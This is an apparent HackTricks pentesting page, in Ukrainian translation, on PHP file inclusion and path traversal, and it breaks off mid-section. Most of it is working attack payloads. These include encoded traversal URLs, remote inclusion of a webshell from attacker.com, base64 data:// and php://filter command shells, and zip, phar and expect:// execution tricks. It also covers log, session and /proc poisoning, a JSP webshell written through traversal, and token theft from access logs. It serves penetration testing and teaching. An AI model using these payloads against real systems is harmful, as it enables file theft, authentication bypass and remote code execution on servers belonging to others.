File Inclusion/Path traversal
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
File Inclusion
Remote File Inclusion (RFI): Файл завантажується з віддаленого сервера (У найкращому випадку: ви можете написати код, і сервер його виконає). У php це вимкнено за замовчуванням (allow_url_include).
Local File Inclusion (LFI): Сервер завантажує локальний файл.
Уразливість виникає, коли користувач якимось чином може контролювати файл, який буде завантажений сервером.
Уразливі PHP-функції: require, require_once, include, include_once
Цікавий інструмент для експлуатації цієї уразливості: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Поєднавши кілька *nix LFI-списків і додавши ще шляхів, я створив цей:
Спробуйте також змінити / на \
Спробуйте також додати ../../../../../
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here
Windows
Злиття різних wordlists:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
Спробуйте також змінити / на \
Спробуйте також видалити C:/ і додати ../../../../../
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here
OS X
Перевірте LFI-список linux.
Базові LFI та обхідні методи
Усі приклади призначені для Local File Inclusion, але їх також можна застосувати до Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences видаляються нерекурсивно
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass додавання додаткових символів у кінці наданого рядка (bypass of: $_GET[‘param’].“php”)
http://example.com/index.php?page=../../../etc/passwd%00
Це виправлено починаючи з PHP 5.4
Кодування
Можна використовувати нестандартні кодування, такі як double URL encode (та інші):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
Сучасні HTML-to-PDF рушії (наприклад, TCPDF або оболонки такі як html2pdf) охоче розбирають HTML, SVG, CSS та URL шрифтів, надані атакуючим, але вони виконуються в довірених бекенд-мережах із доступом до файлової системи. Якщо ви можете інжектити HTML у $pdf->writeHTML()/Html2Pdf::writeHTML(), часто можна вивести локальні файли, які може прочитати обліковий запис веб‑сервера.
- Fingerprint the renderer: every generated PDF contains a
Producerfield (e.g.TCPDF 6.8.2). Знання точної збірки підказує, які фільтри шляхів існують і чи відбувається декодування URL перед валідацією. - Inline SVG payloads:
TCPDF::startSVGElementHandler()читає атрибутxlink:hrefз елементів<image>перед викликомurldecode(). Вбудовування шкідливого SVG всередині data URI змушує багато HTML sanitizers ігнорувати payload, тоді як TCPDF усе одно його розбирає:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDF prepends $_SERVER['DOCUMENT_ROOT'] to paths beginning with / and only later resolves .., so use either leading ../../.. segments or /../../.. to escape the root after the prepend.
- Кодування для обходу наївних фільтрів: Versions ≤6.8.2 only check for the literal substring
../before decoding the URL. Sending..%2f(or..%2F) in the SVG or in a raw<img src>attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF callsurldecode(). - Подвійне кодування для багатоступеневого декодування: If user input is decoded by the web framework and by TCPDF, double-encode the slash (
%252f). One decode turns it into%2f, the second decode in TCPDF turns it into/, yielding/..%252f..→/../../../…without ever showing../to the early filter. - HTML
<img>handler:TCPDF::openHTMLTagHandler()contains the same order-of-operations bug, allowing direct HTML payloads such assrc="%2f..%252f..%252ftmp%252fsecret.png"to read any locally reachable bitmap.
This technique leaks anything readable by the PDF worker (passport scans, API keys rendered as images, etc.). Hardeners fixed it in 6.9.1 by canonicalising paths (isRelativePath()), so during tests prioritise older Producer versions.
З існуючої папки
Maybe the back-end is checking the folder path:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Дослідження каталогів файлової системи на сервері
Файлову систему сервера можна досліджувати рекурсивно, щоб ідентифікувати директорії, а не лише файли, застосовуючи певні техніки. Цей процес передбачає визначення глибини директорії та перевірку наявності конкретних папок. Нижче наведено детальний метод для досягнення цього:
- Визначення глибини директорії: Визначте глибину вашої поточної директорії шляхом успішного отримання файлу
/etc/passwd(застосовується, якщо сервер на базі Linux). Наприклад, URL може мати таку структуру, що вказує на глибину три:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Перевірка папок: Додайте назву підозрілої папки (наприклад,
private) до URL, потім поверніться назад до/etc/passwd. Додатковий рівень каталогу вимагає збільшення глибини на один:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Інтерпретація результатів: Відповідь сервера показує, чи існує папка:
- Помилка / Немає виводу: Папка
privateймовірно не існує в указаному місці. - Вміст
/etc/passwd: Наявність папкиprivateпідтверджується.
- Рекурсивне дослідження: Знайдені папки можна додатково перевіряти на підкаталоги або файли, використовуючи той самий метод або традиційні методи Local File Inclusion (LFI).
Для дослідження директорій в інших місцях файлової системи відповідно відкоригуйте payload. Наприклад, щоб перевірити, чи містить /var/www/ папку private (припускаючи, що поточна директорія має глибину 3), використайте:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation — це метод, який застосовують для маніпуляції шляхами до файлів у вебзастосунках. Його часто використовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи в кінець шляхів до файлів. Мета — сформувати шлях до файлу, який, після змінення заходом безпеки, все ще вказуватиме на потрібний файл.
У PHP різні подання шляху до файлу можуть вважатися еквівалентними через особливості файлової системи. Наприклад:
/etc/passwd,/etc//passwd,/etc/./passwd, and/etc/passwd/усі вважаються одним і тим самим шляхом.- Коли останні 6 символів є
passwd, додавання/(утворюючиpasswd/) не змінює цільовий файл. - Аналогічно, якщо до шляху додається
.php(наприклад,shellcode.php), додавання/.наприкінці не змінить файл, до якого звертаються.
Наведені приклади демонструють, як використовувати path truncation для доступу до /etc/passwd, поширеної цілі через її конфіденційний вміст (інформація про облікові записи користувачів):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
У цих сценаріях кількість необхідних переходів може становити близько 2027, але це число може змінюватися залежно від конфігурації сервера.
- Використання крапкових сегментів і додаткових символів: послідовності переходів (
../) у поєднанні з додатковими крапковими сегментами та символами можна використовувати для навігації по файловій системі, ефективно ігноруючи рядки, що додаються сервером. - Визначення необхідної кількості переходів: методом проб і помилок можна знайти точну кількість послідовностей
../, необхідних для переходу до кореневого каталогу, а потім до/etc/passwd, при цьому забезпечивши нейтралізацію доданих рядків (наприклад,.php), але збереження бажаного шляху (/etc/passwd). - Початок з фейкового каталогу: поширеною практикою є починати шлях з неіснуючого каталогу (наприклад,
a/). Ця техніка використовується як запобіжний захід або для виконання вимог логіки розбору шляху сервером.
При застосуванні технік усікання шляху критично важливо розуміти поведінку розбору шляху на сервері та структуру файлової системи. Кожен сценарій може вимагати різного підходу, і часто необхідне тестування для виявлення найефективнішого методу.
Ця вразливість була виправлена в PHP 5.3.
Трюки обходу фільтрів
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
У php це вимкнено за замовчуванням, тому що allow_url_include — Off. Воно має бути On, щоб це працювало, і в такому випадку ви можете включити PHP-файл з вашого сервера та отримати RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Якщо з якоїсь причини allow_url_include встановлено On, але PHP фільтрує доступ до зовнішніх веб-сторінок, відповідно до цього запису, ви можете, наприклад, використати data протокол з base64, щоб декодувати b64 PHP code і отримати RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
У попередньому коді фінальний
+.txtбув доданий тому, що attacker потрібен був рядок, що закінчувався на.txt, тож рядок завершується ним, і після b64 decode ця частина поверне лише сміття, а реальний PHP code буде включено (і, отже, виконано).Ще один приклад не використовуючи
php://протокол був би:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python кореневий елемент
У python, у коді на кшталт цього:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Якщо користувач передає абсолютний шлях до file_name, попередній шлях просто видаляється:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Це передбачена поведінка згідно з the docs:
Якщо компонент є абсолютним шляхом, усі попередні компоненти відкидаються, і з’єднання продовжується від абсолютного компонента шляху.
Java — перелік директорій
Схоже, якщо у вас є Path Traversal в Java і ви запитуєте директорію замість файлу, повертається список вмісту директорії. Це не відбуватиметься в інших мовах (наскільки мені відомо).
Топ 25 параметрів
Ось список топ-25 параметрів, які можуть бути вразливі до local file inclusion (LFI) (з link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI за допомогою PHP wrappers & protocols
php://filter
PHP filters дозволяють виконувати базові операції модифікації над даними перед їх читанням або записом. Існує 5 категорій фільтрів:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Видаляє теги з даних (все між символами “<” та “>” )- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Перетворює в інше кодування(convert.iconv.<input_enc>.<output_enc>) . Щоб отримати список всіх кодувань, що підтримуються, виконайте в консолі:iconv -l
Warning
Зловживши фільтром перетворення
convert.iconv.*, ви можете генерувати довільний текст, що може бути корисним для запису довільного тексту або змусити функцію на кшталт include обробляти довільний текст. Для детальнішої інформації див. LFI2RCE via php filters.
- Compression Filters
zlib.deflate: Стискає вміст (корисно при екзфільтрації великої кількості інформації)zlib.inflate: Розпаковує дані- Encryption Filters
mcrypt.*: Застарілоmdecrypt.*: Застаріло- Other Filters
- Запустивши в php
var_dump(stream_get_filters());ви можете знайти декілька неочікуваних фільтрів: consumeddechunk: скасовує HTTP chunked кодуванняconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
Частина “php://filter” нечутлива до регістру
Використання php filters як oracle для читання довільних файлів
In this post пропонується техніка для читання локального файлу без повернення його вмісту сервером. Ця техніка базується на булевій ексфільтрації файлу (символ за символом) using php filters як oracle. Це тому, що php filters можна використовувати, щоб зробити текст настільки більшим, що php кине виняток.
В оригінальній публікації можна знайти детальне пояснення техніки, але тут коротке резюме:
- Використайте кодек
UCS-4LEщоб залишити початковий символ тексту на початку і змусити розмір рядка зростати експоненційно. - Це буде використано для створення тексту настільки великого, що коли початкова літера вгадана правильно, php викличе помилку
- Фільтр dechunk видалить усе, якщо перший символ не є шістнадцятковим, тож ми можемо дізнатися, чи перший символ є шістнадцятковим.
- Це, у поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери), дозволить нам вгадувати літеру на початку тексту, спостерігаючи, коли ми зробимо достатньо трансформацій, щоб вона перестала бути шістнадцятковим символом. Бо якщо це шістнадцятковий символ, dechunk не видалить його, і початкова «бомба» спричинить php-помилку.
- Кодек convert.iconv.UNICODE.CP930 перетворює кожну літеру на наступну (тому після цього кодека: a -> b). Це дозволяє зрозуміти, чи перша літера —
a, наприклад, бо якщо застосувати цей кодек 6 разів: a->b->c->d->e->f->g, літера більше не є шістнадцятковим символом, отже dechunk не видаляє її, і php-помилка спрацьовує через множення з початковою «бомбою». - Використовуючи інші трансформації, як-от rot13 на початку, можливо leak інші символи, наприклад n, o, p, q, r (та інші кодеки можна використовувати, щоб пересунути інші літери в шістнадцятковий діапазон).
- Коли початковий символ — цифра, потрібно закодувати його в base64 і leak перші 2 літери, щоб leak число.
- Остаточна проблема — з’ясувати як leak більше, ніж початкова літера. Використовуючи фільтри перестановки порядку в пам’яті, як-от convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE, можна змінити порядок символів і отримати в першій позиції інші літери тексту.
- А щоб отримати додаткових даних ідея полягає в тому, щоб generate 2 bytes of junk data at the beginning за допомогою convert.iconv.UTF16.UTF16, застосувати UCS-4LE, щоб зробити pivot with the next 2 bytes, та delete the data until the junk data (це видалить перші 2 байти початкового тексту). Продовжуйте робити це, поки не дістанетеся потрібного біту для leak.
У публікації також опубліковано інструмент для автоматизованого виконання: php_filters_chain_oracle_exploit.
php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Можна також використовувати php://stdin, php://stdout і php://stderr для доступу до файлових дескрипторів 0, 1 і 2 відповідно (не впевнений, як це може бути корисно в атаці)
zip:// та rar://
Завантажте Zip або Rar файл з PHPShell всередині та отримайте до нього доступ.
Щоб мати можливість зловживати rar protocol, його потрібно спеціально активувати
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Зверніть увагу, що цей протокол обмежений конфігураціями php allow_url_open та allow_url_include
expect://
Expect має бути активовано. Ви можете виконувати код за допомогою цього:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Вкажіть свій payload у POST-параметрах:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Файл .phar можна використати для виконання PHP-коду, коли веб‑застосунок користується функціями на кшталт include для завантаження файлів. Наведений нижче фрагмент PHP-коду демонструє створення файлу .phar:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Щоб скомпілювати файл .phar, слід виконати таку команду:
php --define phar.readonly=0 create_path.php
Після виконання буде створено файл test.phar, який потенційно можна використати для експлуатації уразливостей Local File Inclusion (LFI).
Якщо LFI лише читає файл без виконання PHP-коду в ньому (через такі функції як file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), або filesize()), можна спробувати експлуатацію вразливості десеріалізації. Ця вразливість пов’язана з читанням файлів через протокол phar.
Для детального розуміння експлуатації вразливостей десеріалізації у контексті .phar файлів зверніться до документа, наведеного нижче:
Phar Deserialization Exploitation Guide
CVE-2024-2961
Було можливим зловживати будь-яким довільним читанням файлу з PHP, що підтримує php filters, щоб отримати RCE. Детальний опис можна знайти в цьому дописі.
Дуже коротко: в PHP-кучі було використано переповнення на 3 байти для того, щоб змінити ланцюжок вільних чанків певного розміру, щоб мати змогу записати що завгодно у будь-яку адресу, тому було додано хук для виклику system.
Було можливим виділяти чанки певних розмірів, зловживаючи додатковими php filters.
More protocols
Перегляньте більше можливих protocols to include here:
- php://memory and php://temp — Запис у пам’ять або в тимчасовий файл (не впевнений, наскільки це може бути корисно у file inclusion attack)
- file:// — Доступ до локальної файлової системи
- http:// — Доступ до HTTP(s) URL-адрес
- ftp:// — Доступ до FTP(s) URL-адрес
- zlib:// — Потоки стиснення
- glob:// — Пошук імен шляхів, що відповідають шаблону (Не повертає нічого придатного для друку, тож тут не дуже корисний)
- ssh2:// — Secure Shell 2
- ogg:// — Аудіопотоки (Не корисно для читання довільних файлів)
LFI via PHP’s ‘assert’
Ризики Local File Inclusion (LFI) у PHP особливо високі при роботі з функцією ‘assert’, яка може виконувати код із рядків. Це особливо небезпечно, якщо ввод, що містить символи directory traversal на кшталт “..”, перевіряється, але не належним чином санітизований.
Наприклад, PHP-код може бути спроектований так, щоб запобігти directory traversal таким чином:
assert("strpos('$file', '..') === false") or die("");
Хоча це спрямовано на запобігання traversal, воно ненавмисно створює вектор для code injection. Щоб exploit цього для читання вмісту файлу, зловмисник міг би використати:
' and die(highlight_file('/etc/passwd')) or '
Аналогічно, для виконання довільних системних команд можна використовувати:
' and die(system("id")) or '
Важливо URL-encode these payloads.
PHP Blind Path Traversal
Warning
Ця техніка релевантна в випадках, коли ви контролюєте шлях до файлу переданий PHP function, яка буде access a file, але ви не побачите вміст файлу (наприклад простий виклик до
file()), і вміст не відображається.
In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
Коротко: техніка використовує кодування “UCS-4LE” щоб зробити вміст файлу настільки великим, що PHP function opening файл спричинить помилку.
Потім, щоб leak першого символу, використовується фільтр dechunk разом із такими як base64 або rot13, і нарешті застосовуються фільтри convert.iconv.UCS-4.UCS-4LE та convert.iconv.UTF16.UTF-16BE, щоб помістити інші символи на початок і leak їх.
Функції, які можуть бути вразливими: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
Для технічних деталей перегляньте згаданий пост!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Коли серверний код, який приймає/завантажує файли, формує шлях призначення з використанням даних, контрольованих користувачем (наприклад, filename або URL), без canonicalising та валідації, сегменти .. і абсолютні шляхи можуть вийти за межі призначеного каталогу й спричинити довільний запис файлу. Якщо ви можете помістити payload у веб-доступну директорію, зазвичай ви отримуєте неавторизований RCE, розмістивши webshell.
Типовий робочий процес експлуатації:
- Виявити write primitive в endpoint або background worker, який приймає path/filename і записує вміст на диск (наприклад, message-driven ingestion, XML/JSON command handlers, ZIP extractors тощо).
- Визначити веб-доступні директорії. Поширені приклади:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx - Сконструювати traversal path, який виведе вас з призначеного каталогу в webroot, і включити туди вміст вашого webshell.
- Перейти до розміщеного payload і виконати команди.
Примітки:
- Вразливий сервіс, який виконує запис, може слухати на non-HTTP порті (наприклад, JMF XML listener на TCP 4004). Основний веб-портал (інший порт) згодом буде обслуговувати ваш payload.
- У Java-стеках ці записи файлів часто реалізуються простим конкатенуванням
File/Paths. Відсутність canonicalisation/allow-listing — це основний недолік.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Зміцнення, яке нейтралізує цей клас вразливостей:
- Визначайте канонічний шлях і забезпечте, щоб він був нащадком дозволеної (allow-listed) базової директорії.
- Відхиляйте будь-який шлях, що містить
.., абсолютні кореневі шляхи, або букви дисків; віддавайте перевагу згенерованим іменам файлів. - Запускайте процес запису від імені користувача з мінімальними привілеями і розділяйте директорії для запису від served roots.
Remote File Inclusion
Пояснено раніше, перейдіть за цим посиланням.
Через лог-файл Apache/Nginx
Якщо сервер Apache або Nginx вразливий до LFI у функції include, ви можете спробувати отримати доступ до /var/log/apache2/access.log або /var/log/nginx/access.log, записати в user agent або в GET parameter php shell на кшталт <?php system($_GET['c']); ?> і включити цей файл
Warning
Зверніть увагу, що якщо ви використовуєте подвійні лапки для shell замість одинарних лапок, подвійні лапки будуть змінені на рядок “quote;”, PHP видасть помилку і нічого більше не буде виконано.
Також переконайтесь, що ви правильно записали payload, інакше PHP буде видавати помилку щоразу при спробі завантажити лог-файл і у вас не буде другої спроби.
Це також можна зробити в інших логах, але будьте обережні, код усередині логів може бути URL encoded і це може зіпсувати Shell. Заголовок authorisation “basic” містить “user:password” в Base64 і він декодується в логах. PHPShell можна вставити всередину цього заголовку.
Інші можливі шляхи логів:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Читання access logs для збору GET-based auth tokens (token replay)
Багато додатків помилково приймають session/auth tokens через GET (наприклад, AuthenticationToken, token, sid). Якщо у вас є path traversal/LFI primitive для доступу до web server logs, ви можете вкрасти ці токени з access logs і replay-нути їх для повного обходу автентифікації.
How-to:
- Використайте traversal/LFI, щоб прочитати access log веб-сервера. Типові місця:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Деякі endpoints повертають прочитання файлів у Base64-encoded вигляді. Якщо так — decode локально та перегляньте рядки журналу.
- Використайте Grep для пошуку GET-запитів, які містять параметр token, витягніть його значення і потім replay-ньте його проти application entry point.
Приклад потоку (загальний):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Розкодуйте тіло, якщо воно є Base64, потім відтворіть перехоплений token:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Примітки:
- Tokens у URLs реєструються за замовчуванням; ніколи не приймайте bearer tokens через GET у продуктивних системах.
- Якщо додаток підтримує кілька імен token’ів, шукайте поширені ключі, такі як AuthenticationToken, token, sid, access_token.
- Перестворіть будь-які tokens, які могли have leaked у logs.
Через Email
Надіслати лист на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад <?php echo system($_REQUEST["cmd"]); ?>, і спробуйте включити його в пошту користувача за шляхом типу /var/mail/<USERNAME> або /var/spool/mail/<USERNAME>
Через /proc//fd/
- Завантажте багато shells (наприклад: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)
Через /proc/self/environ
Як у log file, надішліть payload у User-Agent — він відобразиться всередині файлу /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Через завантаження
Якщо ви можете завантажити файл, просто вбудуйте shell payload у нього (наприклад: <?php system($_GET['c']); ?>).
http://example.com/index.php?page=path/to/uploaded/file.png
Щоб файл залишався читабельним, найкраще інжектувати в метадані зображень/doc/pdf
Через завантаження ZIP файлу
Завантажте ZIP-файл, що містить стиснутий PHP shell, та отримайте доступ:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Через PHP sessions
Перевірте, чи сайт використовує PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
У PHP ці сесії зберігаються в /var/lib/php5/sess\[PHPSESSID]_ файлах
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Встановіть cookie як <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Використайте LFI, щоб включити PHP-файл сесії
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Через ssh
Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до <HOME>/.ssh/id_rsa
Через vsftpd logs
Журнали FTP-сервера vsftpd знаходяться в /var/log/vsftpd.log. У випадку, якщо існує уразливість Local File Inclusion (LFI) і є доступ до відкритого сервера vsftpd, можна розглянути такі кроки:
- Інжектуйте PHP payload у поле username під час процесу входу.
- Після інжекції використайте LFI, щоб отримати журнали сервера з /var/log/vsftpd.log.
Через php base64 filter (using base64)
As shown in this article, PHP base64 filter just ignore Non-base64. Ви можете використати це, щоб обійти перевірку розширення файлу: якщо ви передасте base64, що закінчується на “.php”, фільтр просто ігноруватиме “.” і додасть “php” до base64. Ось приклад payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Через php filters (файл не потрібен)
This writeup пояснює, що ви можете використовувати php filters для генерації довільного вмісту як вихід. Це, по суті, означає, що ви можете generate arbitrary php code для include without needing to write його у файл.
Через segmentation fault
Upload файл, який буде збережений як тимчасовий у /tmp, потім в тому ж запиті, викличте segmentation fault, і тоді тимчасовий файл не буде видалено і ви зможете його знайти.
LFI2RCE via Segmentation Fault
Через Nginx temp file storage
Якщо ви знайшли Local File Inclusion і Nginx працює перед PHP, можливо, ви зможете отримати RCE за допомогою наступної техніки:
Через PHP_SESSION_UPLOAD_PROGRESS
Якщо ви знайшли Local File Inclusion, навіть якщо у вас немає сесії і session.auto_start встановлено в Off. Якщо ви передасте PHP_SESSION_UPLOAD_PROGRESS в multipart POST даних, PHP увімкне сесію за вас. Ви можете зловживати цим, щоб отримати RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Через temp file uploads у Windows
Якщо ви знайшли Local File Inclusion і сервер працює на Windows, можливо, ви отримаєте RCE:
Через pearcmd.php + URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it’s possible to pass arguments to the script via the URL because it’s indicated that if a URL param doesn’t have an =, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:
